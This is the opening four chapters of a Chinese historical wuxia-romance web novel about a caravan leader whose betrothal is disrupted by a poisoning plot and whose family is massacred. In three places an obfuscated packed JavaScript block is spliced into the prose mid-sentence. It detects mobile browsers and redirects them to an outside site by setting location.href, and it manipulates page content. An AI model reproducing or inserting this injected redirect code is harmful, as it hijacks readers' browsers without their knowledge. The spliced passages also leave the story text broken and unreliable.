《古道惊鸿录》 1. 毒断吉路 滇南云岭，群山连绵，林海茫茫，云蒸霞蔚。一队铁骑踏破熹微晨光，从毒瘴林中冲出。 “云主，货品清点无误。”白衣绣蓝蝶、腰间挂满无数小药囊的白露冲领头少女高喊。 “干得漂亮！”少女爽朗愉悦的声音从前方传来，话毕，人已再次打马飞驰。 望着轻快远去的一人一骑，火寅族少年阿吉忍不住用胳膊撞了撞队伍末尾的阿木叔：“云主当真厉害！昨晚误踩毒刺蜂巢的时候，我以为就要交待在瘴林里了。” “你以为云主是谁？她可是帮主独女，深谙丛林法则、精通多族语言，驭马识途更不在话下，十三岁就随帮主走古道，遇到过多少险境。我们‘云岭十八骑’的未来可都指望她呢！”阿木叔瞥一眼阿吉，驱马跟上队伍。 滇南位于昭华国的西南，自然资源丰沃，孕育出大大小小几十个部族。 “云岭十八骑”是滇南最大的马帮，掌控着通往南亚、吐蕃，甚至西域部分地区的茶马古道命脉。不仅是商队，更是维系昭华国西南各部族平衡的重要力量。 昭华国历代国君对其都礼遇有加，恩准其拥有自己的武装护卫。属于半商半军性质的“云岭十八骑”，肩负着运送货品、沟通临界各地的责任。 翻过又一个山头，杨洛云看看身后驮普洱茶饼、白药、扎染布等货物的十几匹滇马，又看看精疲力尽的大伙，轻叹口气。 今日是她和弩山部首领木铎纳吉的日子，眼下情形，怕是无法在正午之前赶回马帮总部了。 杨洛云今年十九岁，已经接管马帮大半生意。她对货品价值极度敏锐，滇南云岭与之有交集的人都尊称她一声“云主”。 杨洛云和木铎是幼时婚约，原本计划三年前成婚。计划赶不上变化，木铎部族突发内讧，其父惨死，婚约就此搁置。 一月前，弩山部再提婚约，帮主见洛云没有反对，便欣然应下。 木铎比杨洛云还长五岁，是弩山部唯一继承人。“云岭十八骑”近年的古道税收屡遭朝廷干预，如若能和弩山部联合，可以分担马帮的不少压力。 杨洛云正想得入神，白露突然低声自语：“咦，那条道上的脚印怎么与往常不同？” 顺着白露目光望去，马帮常走路线的左侧小道上，一排新的脚印格外显眼——那是汉式靴印。 洛云心中疑惑，面上却不显。“许是前来观纳吉礼的部族留下的，我们加快脚程！” 抵达马帮总部已过正午，大门牌匾所书“云骧府”三字用金漆重新描过，左右抱柱对儿“蹄声踏破千嶂雾，旗影裂开九霄云”字字潇洒霸气，整根带皮冷杉做成的梁上挂满彩绳，府邸比往日添了不少喜气。 杨洛云大步穿过引马廊，迈进她的骊珠阙，三层高的小院内忙忙碌碌。 “怎么耽误这样久？”身着藏青色百褶麻布裙的赵夫人从二楼木雕小窗探出头来，语气似嗔似怪，眉眼满含笑意。 “半路有事耽搁了。阿娘，我的纳吉首饰可挑选好了？”洛云取下腰间软鞭，随手扔给小伙计，脚步轻快地登上楼。 “你别想糊弄过去，可是又遇到了什么事？白露，你来说！” 见瞒不过去，洛云只好抢在白露开口前温声道：“真的只是小事。阿吉的马昨晚不小心撞下来一个蜂巢，又一脚踩上，把蜂群惊动了。我让大伙蒙着湿布，点火把驱散蜂群，又用毒木汁给解决啦。” 听着少女轻松的语气，赵夫人丝毫没有放心，拉着洛云仔细检查。 “嫂嫂不必忧心，小云儿的山间功夫是我和大哥亲自教导的，瘴林里的蜂巢对她来讲不算什么。”洛云正思索如何逃离之际，一道清亮女声从身后传来。 来人比赵夫人年轻近十岁，身姿灵巧。是马帮上任帮主的养女，洛云的“姑姑”段清昙。 段清昙被带回马帮时刚满六岁，她和杨洛云的父亲一同长大，长年跟随马帮历练，帮助马帮渡过了不少难关。 杨洛云出生后，段清昙不仅亲自教导洛云算账，还时常带洛云去山间学丛林功夫，算是她的商道引路人兼武功导师。 看准备得差不多了，赵夫人拉着洛云换装下楼，段清昙则把白露拉到一旁低声询问：“药材市场最近如何？可否有新的买卖？”白露稍怔，随后点点头，告知详情。 响箭传讯，一匹快马紧随其后行至云骧府外。 “在下弩山木铎，特来向云主纳吉！”木铎翻身下马，手持象征弩山部族的蛇案令牌，高声吟诵弩山部祭歌。 言明身份、得到帮主应允后，木铎卸下佩刀，抬脚踏进府门。身后族人提着大大小小几十对竹编鱼贯而入，再往后是弩山马、盐茶信物等。 门房伙计跟着节奏，用滇南语高喝：“弩山部献上岭西盐晶，愿日后生计如盐，百味调和！献上弩山部古道图，愿与云主共辟坦途，风雨同舟！” 待全部入府毕，杨洛云一袭大红骑装、佩戴白夷族银饰，边走边“验吉礼”——她用指尖轻点盛满盐的瓷碟，片刻后放入口中浅尝；接着又割开捆缚茶饼的草绳，拈起一撮干茶细嗅；随后展开弩山部的地图细细观摩。 做完这些，洛云在堂中站定，看向木铎，缓缓开口：“弩山部的盐道，如今可还太平？”不等木铎作答，紧接着指向一旁的弩山马：“这良驹，能负重几何，日行几里？”再往后又细细问弩山部的地理细节、人员分布…… 躲在廊柱下偷偷张望的阿吉，被洛云连珠串似的提问惊呆了。他转头瞥见坐在内堂一脸平静的帮主和赵夫人，冲阿木叔耳语：“云主这样也太咄咄逼人了，半点不给弩山部首领思考的时间。” 阿木叔瞪阿吉一眼，意味深长地开口：“这是云主在试探木铎小子。云主这些问题直接指向实际能力和资源，若留太多思考时间，恐弩山部扯谎欺瞒。” 阿吉不解：“可云主和木铎自小的婚约，弩山部的情况不应该早就了解了吗？” “那是内讧前的弩山部，自从木铎接管部族后，很多弩山部的消息马帮都无法探知。更何况木铎此人心思深沉，重提婚约保不准是看上了马帮的势力。” 阿吉听完细细思索，点头赞同。 验吉礼毕，云骧府立刻府门大开。前来讨纳吉喜酒的各部族代表，纷纷前往聚宴堂等待马帮盛宴。 聚宴堂前的露天演武台上，一部分马帮子弟将骑术、套马和马上挥刀技艺轮番展示，另一部分则高唱“赶马调”。一时之间，云骧府热闹非凡。 好容易等到洛云和木铎前来，部族代表们开始兴奋地争相献词祝酒。有要务在身的则连声催促二人互换纳吉信物。 洛云接过白露手中的随身短匕，木铎掏出衣襟里的弩山部印信，正准备抛给对方。 一声惊呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276315|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从府门外传来，紧接着一个几乎瘫在马背上的人被马帮子弟拖下，段清昙眼疾手快，飞身控住马匹。 来人连滚带爬挪到木铎脚边，用弩山语断断续续说了什么。 木铎和洛云听完，脸色齐齐大变。不等众人反应，木铎已经劈手夺过作为纳吉礼的弩山马，转身冲出云骧府，驾着马匹消失在云岭的落日余晖里。 杨洛云命人将晕倒在地的弩山族人扶去休息，又把刚才所闻用滇南语翻译给众人：弩山部族水源遭人投毒，如今部族里的孕妇都出现了流产症状，其余族人亦是危在旦夕。 闻此噩耗，各部族代表都坐不住了，纷纷起身告辞，欲即刻返回查探各族水源情况。 云岭的水源均为天赐，从雪峰之巅流出，清冽且甘甜。崇山峻岭里的各部族，靠着云岭水源生长繁衍。水源流经之处，各部族或多或少均有交集。如若一处水源地发现异常，难免殃及其余部族。 事关部族生存大事，任何人都无法冷静。 帮主和赵夫人遣人为没有马匹的部族代表牵来马帮良驹，杨洛云亦和白露疾步赶往马帮水源地检查。 热热闹闹的云骧府转瞬安静，一刻钟后，黑漆实木大门缓缓关闭。 月光下萤火虫群如移动星海，空气中弥漫着番红花与腐叶混合的气息。 不远处的山崖上，身穿墨绿色常服的男子望着与云骧府渐行渐远的一匹匹快马，向身后的黑衣侍从吩咐：“查一查，今夜云岭发生了何事。” 侍从领命转身，消失在夜幕中。 杨洛云和白露把马帮的水源地全部检查完，未发现任何异常。白露想到什么，匆匆走去给前来报信的弩山族人诊治。 “阿云，他中的是一种罕见且效果奇特的毒。”白露凑近洛云，用两个人才能听见的声音道。 白露和杨洛云一样是白夷族，她比洛云大两岁，是已亡的云诏国御医后裔，自小因家族被诬陷而流亡马帮，后成为杨洛云的贴身医者。洛云视她为亲姐姐，私下让她唤自己作阿云，对她的话毫不怀疑。 “能否辨认出此毒成分，会不会危及性命？”洛云擅长白夷族的巫医之术，辨别非巫毒药的能力不如家族世代为医的白露。 “毒药成分寻常，在云岭的药材铺都能配齐，但寻常人根本不会想到这样恶毒的配制方法。此毒十分刁钻，于男子最多有四肢疲软、短期内困乏无力、嗜睡多喘之效。可对沾染上的女子危害极大，有孕者会造成流产并危及后续子嗣绵延，少女若中此毒，日后恐难生育。” “能否配出解药？”杨洛云急问。 “我尽力一试，可毒药危害巨大，就算配出解药，也无法彻底消除对中毒女子的危害。” 杨洛云听完，眉头越皱越紧。思及弩山部孕妇出现的流产症状，不禁背后发凉——这可是冲着一整个部族去的，若真的如白露所说，这种毒药完全可以让弩山部族绝后。 究竟是何人对弩山部怀有如此恶意？不，现在其他部族的水源情况尚未知晓，如果都和弩山部一样被下了此毒，那么背后之人针对的就是整个云岭！何其歹毒的心思。 脑海中有什么一闪而逝，杨洛云眼前忽然浮现出白日里山道上那些不同寻常的汉式靴印。 与此同时，弩山部水源地旁，木铎也在不远处的泥地里找到了尚未来得及掩藏干净的汉式靴印…… 2. 锋刃暗藏 木铎盯着眼前的汉式靴印，呼吸声逐渐急促，颈部青筋根根暴起，手臂上的血藤刺青随着怒火愈加显眼。 为族内孕妇诊治完的医士姗姗来迟，见此情景，忍不住冷汗涔涔、欲言又止。 木铎注意到身后的光影变幻，压制着怒火沉声开口：“她们的情形如何？” 医士哆哆嗦嗦、吞吞吐吐半天都无法讲清一个字。 “说！”木铎怒吼，周身控制不住起了一身肃杀之气。 “小人已尽力为患者解毒，可……可毒性霸道，孕妇腹中胎儿皆无力回天，好在中毒少女毒性稍轻，至于……至于未来生育是否艰难，还……还未可知。” 咔嚓一声，木铎踩碎了水源旁的一只木瓢。 “你的意思是，我族会有绝后的风险？”他几乎是一个字一个字从牙缝中挤出。 未等下一步动作，自东西两个方向先后飞来灰白两只信鸽，稳稳落在木铎跟前。 西边送来的信印有“云岭十八骑”帮徽，是杨洛云对毒药成分及古道汉靴印的提示，字里行间透着满满的关心和宽慰。信末还附有白露的解药配方和一小包样粉。 呼吸稍缓，木铎的怒火被手中的信纸抚慰了一瞬，随即展开的信让他的青筋再度暴起。 东边来的信鸽显然已经飞了许久，此刻正咕咕叫着期待能得到食物。 信上内容很简单：三日后亥时，云岭后山见。若尔不来，族必断后。 信纸被揉作一团，信鸽惨叫着逃出了弩山部…… 云骧府骊珠阙内，杨洛云松了一口气。 近两日，各部族陆续向马帮告知水源情况，除弩山部水源被投毒外，其余部族皆安然无恙。 杨洛云悬着的心还未放下，又再次提起—— “阿云，我核实过，弩山部水源的毒药成分均来自马帮所辖的药材市场。那掌事只顾着营利，根本没有按照马帮规矩将所售药材仔细与医士查验，更没有问明药材出售的去向。”白露气不打一处来。 也就是说，在一定程度上，马帮因管理疏忽，间接害了弩山族人。 杨洛云向帮主和赵夫人禀明此事，下令严惩了眼中只有钱财的掌事，心中对弩山部抱有愧疚。还未等她向木铎致歉补偿，弩山部族长就派人带来了退亲拜帖。 拜帖言明：弩山族巫师卜卦，认为在纳吉之日出现如此祸事，是天神警示，弩山族不应再继续与马帮联姻。 帮主理解弩山族对于天神的信奉，虽觉得此事必是有人故意设计，但还是同意了退婚请求。 于滇南云岭的各部族而言，天神警示大过一切，他们绝不容许任何对部族未来有不利昭示的事情发生。 云岭后山，亥时整。 木铎携着一身凛冽杀气看向五步之外的蒙面人。气氛诡异安静，不闻任何鸟鸣虫啼。木铎知道，此人孤身露面，是仗着四周暗沉的林草间有不少武力高强的暗卫保护。若他敢对此人多做一个动作，随时都有身首异处的可能。 “你是谁？引我来此有何贵干？”木铎语气不善。 “看来你对那毒的功效已经了然。我这里有彻底治愈你族女子的药剂，可保你族人后代安平。”蒙面人语气慵懒，漫不经心地折断手中枯枝。 “那些孕妇和未出生的孩子可有过错？你的药再神奇也无法换回她们腹中的骨肉！”木铎想起那些流产的族人和她们丈夫悲伤的哭声，强压住咆哮的冲动。 “呵呵，木首领现在的心肠还是太软，难道三年前弩山部的内乱还没教会你吗？那……” “你到底想要什么？！”木铎打断蒙面人，咬牙切齿。 “很简单，我要你灭了‘云岭十八骑’，毁掉这滇南最大马帮！”蒙面人好整以暇。 “我与杨洛云已经退亲，更何况，我凭什么做你手下的利刃？治愈解药我自会研究，不劳你施舍。” “哦？若你这样不听话，我可保不准还会对你的族人做些什么。更何况，这‘云岭十八骑’可是害你族人的帮手，我不信你没有查过那些毒药成分的出处~”蒙面人莞尔，语调得意地上扬。 “若要算账，我第一个找的该是你才对！”木铎死死盯着面前的人，如果眼神能伤人，此刻的蒙面人早已被他千刀万剐。 “唉——看你护着那马帮的样子，莫不是你还不知道，当年弩山部族内讧、你父亲之死，‘云岭十八骑’才是罪魁祸首。” “我凭什么信你！汉人狡诈，我怎知不是你的挑拨离间之词？”木铎双眼血红，厉声怒吼。 “啧啧啧，那木首领可得好好看仔细了。”蒙面人笑意更浓，从袖中取出一个木盒，随手丢在木铎脚边。 木铎弯腰捡起，打开仔细辨认。片刻后，两行清泪自他眼中滚出，落地无声。 杨洛云近来心情大好，木铎来信告知弩山部绝后的危机解除，又言明抓到了下毒真凶。马帮的货单成倍增加，尤其是西域驼铃商队的女首领阿雅尔·铁木尔同意面谈玉石生意，这让之前屡次遭拒的洛云激动不已。 帮主得知驼铃商队的态度转变，立刻召齐马帮精锐，将大半武装护卫都给了杨洛云。随后拉着洛云细细嘱咐往来西域古道的礼节、可能遇到的凶险情形以及解决方法。 段清昙坐在一旁仔细听着，时不时补充几句。赵夫人则忙前忙后指挥伙计准备一切随行物品。 杨洛云想要拒绝马帮的武装护卫，她始终觉得云骧府近日势必需要加强防护——尽管弩山部投毒危机已经查清，可是无缘无故突然出现的汉人手笔，总让她心中难安。 “小云儿此去西域才是吉凶未知。毕竟那驼铃商队拒绝我们数年，此次突然应允面谈……再加上你是第一次与阿雅尔·铁木尔打交道，多带些人手总是没错的。”段清昙极为耐心地劝说，赵夫人和帮主也连声附和。 杨洛云说不过长辈，只好接受安排。另外又特意给各部族的友人捎信，提醒他们加强防卫。 迎着天边第一缕朝霞，“云岭十八骑”的队伍踏上了前往西域的茶马古道。 “阿爹阿娘，你们和姑姑保重，我争取早些回来！”走在末尾的杨洛云冲云骧府门前的帮主和赵夫人挥了挥手，转身一挥马鞭，消失在晨光中。 段清昙在骊珠阙三楼的窗前，目送一行远去，默默转动指尖的白夷族本主佛珠，口中念念有词，极虔诚地为洛云祈福。 昭华国国都玉京城，安王府内。昏暗的烛光从附着黑纱布的灯盏中透出，墨绿色常服的男子俯身盯着棋局，黑白两子在方寸之间激烈厮杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276316|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，几乎占满了整个局面，却依旧难分胜负。 展锋迈入房门，无意间携带进几缕正午的阳光。男子立刻皱眉，不悦地抛下白子。 展锋一个机灵，迅速掩门，阻挡住偷偷闯进室内的光亮。躬身回禀：“主子，杨洛云一行今早已经离开云岭。” 男子挑了挑眉，“那日弩山部水源投毒一事还没有查到是何人所为？” “属下无能，目前只知九寰城几日前有多股势力前往滇南。太子和丞相的人没有进入云岭，只是例行税收督查。二皇子、户部尚书和陛下的沧溟卫都有踏足云岭古道。” “这就有意思了，继续盯着。再派一队人跟着杨洛云的商队，乔装即可，顺道去看看萨迪克的物资运送如何。” 展锋应声离开。 昭华国皇帝共有三子一女，除二皇子是颐妃所生，其余皆出自皇后。然颐妃和皇后已逝，皇帝爱重皇后，早早打消了另封她人的念头。后宫仅剩端妃和惠妃两个女主人，二妃因无子嗣竞争，日常相处和谐融洽，共同管理六宫事务。 当朝皇帝是先皇的第四子，继位后，仅有同胞妹妹端慧公主和最小的弟弟安王仍在世。 安王晏邃安，玉京城内出了名的闲散富贵王爷。自战场归来后，外人只知他性格古怪、不喜热闹，爱逗猫遛狗、饮酒赏花，甚至连皇帝想给他封地都被他拒绝，转而求以“安”字为虚号，肆意逍遥。 只有端慧公主和展锋一众侍从知晓，暗中不断帮助太子、掌控朝局的人，自始至终都是晏邃安。 滇南云岭，弩山部族内。木铎望着眼前一点点被火光吞噬的信纸，神色肃然。 那人已经是第三次催促他动手了。可木铎始终没有下定决心，坚持要等部族当年的证人亲口承认。 须臾，两个族人架着一个双眼无神的老人来到木铎身前。 “阿翁，可否请您重新告诉我，当年内讧和阿父惨死的真相，到底是什么？”木铎近乎恳求般拽住老人枯瘦的双手，语气里带着他自己都没察觉的颤抖。 静默良久，直到木铎以为老人不会再回应时，那双枯瘦的手缓缓抽离束缚，转而摸索着翻过他的掌心。老人叹了口气，紧接着伸出手指，慢慢在他的掌心移动，微痒却令人心凉。 意识到老人是在写字，木铎迅速凝心聚神，待识别完所写内容后，他极力稳住情绪，抬手轻轻托起老人的下颚。 老人一怔，仿佛纠结了许久，才迟缓地张开了嘴。架着他的两个族人瞥见他紧闭双唇之下的情形，惊得倒抽凉气——空洞洞的口腔内，牙齿和舌头都已经全然消失，早就完全丧失开口说话的可能。 他，不仅失明，还成了哑巴，甚至只能喝流食存活。止不住的浊泪从老人眼角流出，砸落在木铎掌中，一滴一滴灼烧着他紧绷的神志。 眼底最后一丝希冀荡然无存，木铎迅速回到书案前，铺开纸笔，手下墨迹飞溅。 两日后的暗夜，不知何处来的杜鹃在云岭深林中盘旋，一声声哀如泣血般的啼鸣让人毛骨悚然：“不如归去——不如归去——”，声声催命。 弩山部的武力倾巢而出，于云岭后山和等待已久的两队人马汇合，黑压压上万的人影伴随着跳动的火光，踏平一座座山头，朝着云骧府而去。 3. 古道血祭 浓重的血腥气充斥着云骧府所在的山头，兵刃相接的锐响刺破宁静的夜幕。 厚重的实木大门早已被撞开，歪歪斜斜地搭在门框上。 一滴滴鲜血顺着刀尖砸向地面，落在大片血泊中，轻微四溅。 一个接一个人影倒下，已经分不清是马帮大伙还是前来屠杀的阎罗。 帮主一手紧紧护住赵夫人，一手斩下一个迎面而来的头颅。赵夫人双手握紧剑柄，时不时刺向偷袭的敌人。 段清昙的浅色衣裙早就被鲜血染红，她不断地挥动手中利刃，好似杀人的机器，麻木地执行着死中求生的欲望。 看向府门口仍在一波一波涌入的人潮，帮主的心沉到了谷底——已经抵挡不住多久了，这样下去他们迟早会力竭而亡。 马帮众人到现在都还没有明白，杀上府来的到底有些什么人。他们的精锐和部分武装护卫都跟随杨洛云去了西域，眼下根本不是这些人的对手。更何况，来人除了弩山部武力外，还有两队不同着装的人马。 “木铎，我们‘云岭十八骑’究竟哪里得罪你了，以至下此狠手？”帮主朝着骑在马上、一脸冷漠的木铎沉声质问。 “杨帮主，这句话应该我问你才是。我弩山部和我父亲究竟何处得罪了‘云岭十八骑’，让你们三年前做出滔天恶行！”顿了顿，语气更加凌厉：“今日，我定要让你们付出代价！” “你弩山部内讧和我马帮有何关联，你莫不是听信了真正幕后之人的谗言？若是那样，你一定会后悔的！” “哼，都这时候了，杨帮主还在装无辜。既然如此，便没什么可说了。”木铎说完，持刀自马上飞身而起，直直刺向帮主。 赵夫人惊呼一声，眼看刀尖将要刺中丈夫，她用尽全身力气朝帮主撞去。 “噗嗤”一声，刀深深没入赵夫人的腹部。 “夫人——”被撞倒在地的帮主目眦欲裂，向木铎冲去…… 天地间只剩一片血红，惨叫声、惊呼声不绝于耳。 就在马帮众人的希望即将破灭之时，忽闻破空声响。又一队人马向云骧府疾驰而来。 “木铎，你究竟要干什么？！”杨洛云风尘仆仆，从山林里狂奔到府门外，看清地上安静躺着的赵夫人，她近乎疯狂地朝木铎咆哮。 “小云儿，你回来作甚？快跑！”段清昙抽出刺进面前敌人心口的利剑，向杨洛云喊。 杨洛云没有顺利抵达西域，她们一行人在途中频频遇刺。洛云越想越不对劲，派几个机灵的马帮伙计乔装成普通百姓，携带着她给阿雅尔·铁木尔的说明信笺，偷偷绕道走。自己则带着其余众人回府。 她原本想要回来和帮主商量对策，却不想回来竟看见三队人马在云骧府内厮杀。 木铎已经重新回到了马背上，看着突然出现的杨洛云，呼吸微滞。他勉力镇定，狠狠一闭眼，随即扭过头去，下令新一波进攻。 几方人马再次陷入混战。 段清昙见马帮众人越来越吃力，随洛云回来的精锐也因长途跋涉逐渐显现无力态势。她一咬牙，躲过面前的致命一击，随后猛地跃起，使尽浑身解数落到洛云身边。 “小云儿，这样打下去不行，稍后我带一群人从侧门出去分散注意力，你趁势进攻木铎。擒贼先擒王的道理，我教过你的！” 杨洛云看着段清昙气息微乱的模样，满眼含泪，声音都在发颤：“不行姑姑，这样太危险了，不如我去！” “少废话，行动！”段清昙轻斥间，人影已经迅速闪至侧门旁。 “帮主，这样下去不是办法，我即刻带一群人向云岭各部求援。”段清昙故意扬声喝道。 “云岭各部已经提前收到我的消息，何况现下时辰已晚，你们是搬不到救兵了。”木铎随口应答，心里却也很是没底——凭借“云岭十八骑”的能力，各部族未必不会因利而违约支援。 他当即给旁侧领队一个眼神，三队人马中，穿汉式战甲的人马紧追段清昙而去。 “姑姑，保重！”杨洛云心中默念，趁木铎分神间，狠狠挥鞭抽去。 木铎回过神，却是一动不动，结结实实受下一鞭。 杨洛云丝毫没有手软，紧接着挥鞭而上，接连几鞭抽在木铎的胸前、腹部、颈部，招招致命，毫不留情。 另一侧，戴面具的首领还在带队向帮主猛攻，他躲开白露撒来的毒粉，抽空回头，竟见杨洛云追着木铎狠狠挥鞭的情形。木铎一鞭鞭受着，没有躲开更没有还手的想法。他心中烦躁，想要尽快结束这场毫无悬念的战局。伸手摸出一支箭矢，挽弓搭弦，射向木桩一样的木铎。 那箭在距离木铎面门一寸处落下，惊醒了一动不动的人。 木铎急退两步，弯腰躲过杨洛云的下一鞭，不知从何处掏出一把小弩，瞄准帮主射去。 杨洛云认出那是弩山族特有的连环弩，心中警铃大作，向帮主所在的地方飞扑而去。 可那弩的速度太快，洛云眼看来不及，夺过一个正砍向阿吉的小兵手中的剑，狠狠掷去。 剑在空中划过一道弧线，精准打落飞来的利器，随之断成两截。 洛云还没来得及松一口气，木铎已经再次飞身，一剑刺向了帮主。 鲜血四溅。 “阿爹！——”洛云跌跌撞撞地冲过去，抱住帮主摇摇欲坠的身体，仿佛被人狠狠攥住了心口，撕心裂肺的疼痛瞬间传遍全身。眼泪大滴大滴落下，她双眼血红，呼吸一下比一下更沉重。她接过帮主手中的剑，用尽浑身力气掷向木铎。 带着浓浓恨意的剑直直没入木铎后腰，加之先前洛云狠狠抽下的几鞭，他猛地喷出一口血。 弩山族一队人惊呼声此起彼伏，慌忙接住坠地的木铎。 杨洛云紧紧抱着帮主，四下厮杀的人群似乎都已经虚化，她什么也听不见什么也看不清，只有怀里父亲越来越轻的呼吸声和一口口喷涌出的鲜红。 白露、阿吉和阿木叔早已赶过来，三人一左一右一后形成一个保护圈，护在洛云和帮主身前，来一人杀一人，来两人杀一双，俨然也是杀红了眼。 帮主颤抖着，从怀中取出裹着布巾的半圆形物什和一卷精巧的锦帛，塞进洛云手中。 “这是茶马玉符，你阿爷交给我的时候就只剩一半了。它掌握着滇南的秘密势力和前朝的秘宝，我虽不清楚到底是什么，但是这必定关乎着昭华国和滇南的稳定……”帮主又一口血喷出，打湿了包裹玉符的布巾。 “我这些年一直在寻找另外半块玉符的下落，可……可始终没有线索。你一定要……一定要尽力找到。‘云岭十八骑’的未来，就交给你了……” “我会的……我会的！阿爹，挺住！不要丢下我一个人。”杨洛云控制不住地呜咽着，伸手将那半块茶马玉符仔仔细细塞进怀中，声音里满是哀求。 帮主欣慰地看了洛云一眼，闭眼喘息一阵，接着开口：“你不是一个人，马帮还在，他们需要你。这是府内密道图和古道的另一条路线图，你待会带他们走……” 洛云攥紧锦帛，用力点头。 帮主最后看了杨洛云一眼，转过头偏向赵夫人安静躺着的方向：“夫人……我来找你了……”接着，缓缓合上双眼。 杨洛云近乎失声，泪水不断地顺着脸颊滑落。她轻轻放下帮主，转身狠狠挥鞭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276317|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽倒几个进攻的小兵。 那戴面具的首领一直关注着帮主和杨洛云所在方向，看见洛云收进怀里的半圆形之物，眼中暗芒一闪。 追赶段清昙的那队人马已经返回，领队躬身禀报：“那女人根本没有向其余部族所在方向跑，属下有近十人中了她路上的埋伏。” 戴面具的首领瞥了一眼捂着伤口、面色苍白、由族人扶着的木铎，转身接着皱眉问：“结果如何？” “其余人皆已丧命，那女人在后山处坠下了密林，属下已经派人寻找。”领队不敢抬头，声音越来越小。 “一群废物！”面具首领低咒，又命新一波手下向马帮进攻。 杨洛云环顾四周，地上横七竖八躺着无数尸体，有马帮兄弟的，有弩山族人的，有穿汉式战甲的，还有那面具首领带来的黑衣人的，一具一具叠在一起，密密麻麻几乎铺成了两层。 她一咬牙，突然高声对面具首领道：“我已经知晓你是何人，面具遮面也是徒劳。你想从我马帮夺走的东西就在这里，有本事你让他们放下武器，走过来拿！” “想耍我，没门。”面具首领轻笑，一副丝毫不会上当的样子。 “既然如此，那就——” 话音未落，白露、阿木叔和洛云一齐飞身而起，朝着三队人马接连掷出几枚迷雾弹和毒药。 “捂住口鼻，快捂住口鼻！”有人反应过来，大声提醒。 然而已经晚了，手握刀剑的小兵一个个腿脚发软，兵器坠地，发出清脆的声响。 早在洛云吸引对方注意之时，白露从腰间的药囊里一股脑儿掏出各类药粉，用最快速度掺杂分装，配制出了应急掩护的弹药。马帮常年由白露执掌医药，她所配制的一系列毒物粉末对大伙都无效。 这药效极强，云骧府内顿时烟雾四散。瞅准时机，杨洛云找到父亲所给锦帛上记载的密道入口，阿木叔催促着马帮幸存的众人即刻入内，白露打头，洛云断后。 药效却也消逝极快，洛云最后看了一眼尘雾中安静躺在地上的父母，拼命忍住决堤泪意，想要把这一幕死死刻入脑海。随即，她迫使自己转身，毅然决然地关闭入口，快速跟随马帮残部离开。 一幕幕血红在眼前闪现，杨洛云从噩梦中惊醒。大口大口喘息着，眼前逐渐清晰。 这里是密林深处，锦帛所述古道的另一条罕有人迹的小路。暮色深沉，她们已经逃出云骧府两日了。此刻，马帮残部正围成一个保卫圈在深林中休憩。 望着陷入梦乡中的白露、阿吉和其余大伙，洛云缓缓起身，轻手轻脚走到不远处一个小土堆旁坐下。 从怀里掏出锦帛，展开凝神细盯，规划完未来几天的大致路线后，洛云的脑海中又不受控制地闪过云骧府内的一幕幕。 据阿木叔所说，木铎率领弩山部血洗云骧府似乎和弩山部三年前的内讧有关，而那面具首领及其侍从的汉式战甲皆出自玉京，另一队黑衣人马虽不知到底是何人，但其剑柄上的茶花纹显然出自滇南，极大概率是滇南的某股势力。 有人轻拍她的肩，洛云转头，阿木叔在身侧坐下：“云主还在想那晚之事？” 洛云勉强扯出一丝笑容：“我在想接下来的路程。” “云主，当年若不是你和帮主，我们大伙早没命了。不论发生什么，我们‘云岭十八骑’永远在你身后！”阿木叔坚定地道。话毕，朝着马帮众人走去。 洛云心中得到些许安慰，可又想到父母的惨死、姑姑至今下落不明，忍不住屈膝缓缓抱住自己，将头枕在臂弯里。 世间之大，于她而言，从此再无归处……可她，必须坚强地继续走下去！ 4. 千里潜行·鬼哭涧 “你说她未曾到达西域，而是返回了云岭？”晏邃安不动声色地放下手中瓷盏。 “是，云骧府当夜遭三路人马屠杀，杨帮主和夫人命殒，杨洛云带残部从密道逃走，至今不知去向。” “三队人马？可清楚来历？”晏邃安稍显惊讶地挑挑眉。 “弩山部木铎一队，其余两队应是二殿下和滇南的势力。”展锋说着，递去一份长长的清单，“萨迪克的物资收支，已核对无误。” 晏邃安接过，漫不经心地扫一眼，放在一旁。 “能让老二如此心急，想来这‘云岭十八骑’定有不可告人之处。继续盯着杨洛云动向，我倒要看看，她和老二这盘棋究竟胜负几何。” 滇南怒江，鬼哭涧。 杨洛云一行已经在茂林里穿行五日有余。五日内，洛云绕道在林中马帮布置的各处据点汇集滇马——马帮最珍贵的东西不是各种武器，而是马匹。 穿梭在自己布置的林子，洛云时不时使用一个防身陷阱，追踪而来的人群里时不时就爆发出一阵惨叫。 尽管如此，身后的动静却始终不断，直至今日似乎只剩下弩山部的追兵。想来是另两队人马不熟悉滇南云岭的复杂地势，加上中了不少马帮陷阱，于是放弃直接追踪，提前前往部署其他可逃关口，以备不时之需了。 